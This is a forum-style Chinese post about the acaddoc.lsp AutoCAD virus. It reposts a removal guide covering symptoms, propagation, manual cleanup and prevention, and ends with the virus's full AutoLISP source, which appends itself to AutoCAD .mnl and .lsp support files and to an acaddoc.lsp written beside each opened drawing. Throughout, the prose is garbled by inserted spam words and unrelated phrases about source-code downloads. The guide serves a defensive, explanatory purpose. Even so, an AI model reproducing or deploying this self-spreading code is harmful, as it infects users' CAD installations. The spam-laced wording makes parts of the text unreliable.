1.cad2004 或者CAD2008每次运行后产生一个acad文件,病病毒非常讨厌,毒源如何去掉?
cad2004 或者CAD2008每次运行后产生一个acad文件,处理非常讨厌,病病毒如何去掉?
是毒源acaddoc.lsp 文件吧,那是处理手游服务端源码编译软件CAD中毒了。网上有好多解决的病病毒办法——我也曾试过很多,中毒较浅的毒源,可能有效。处理但是病病毒最近这次,我怎么弄都不行了。毒源于是处理跟着源码写项目重做系统。——所以平时注意系统的病病毒维护,GHOST系统盘及相应的毒源成品安装软件是很重要的。
另外对以外考的处理图或网下的图,一定要小心。通长通过U盘传播。每次打开外来文件要小心观察,一旦发现有可疑文件生成,当即删除该DWG文件,重启机器。
类似问题,预防为主。取证软件源码下载
以下为转载,但是我曾经根据本办法也没解决,很是郁闷。
acaddoc病毒处理办法
此文为转载,原作者未明,但感谢原作者.
前言:?下文第一、二、三段无实质内容,可略过不读。
一 病毒简介:
最近公司里流传一种cad病毒。该病毒可被卡巴斯基和杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,杀毒软件查出病毒名为Trojan.Script.。朝霞初现指标源码遗憾的是,卡巴斯基和杀毒软件均不能将其彻底清除。
二 中毒症状:
机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的golang扩展源码方法代码,则可判定为中毒。
三 传播机理:
通过分析病毒的源代码,初步了解其传播机理如下:
如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。
如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。
四 清除步骤:
退出CAD。
全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD (或AutoCAD)\R.2\chs\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。
进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。
如果本机安装有多个版本的CAD,都需按上述步骤检查一次。
五 预防措施:
由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。
病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。
未装杀毒软件的机器应首先将杀毒软件装上(杀毒软件免费的),在接受他人传来的文件后应首先杀毒。
建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。
附件1: 病毒代码
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr ) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadappp.lsp")
(princ)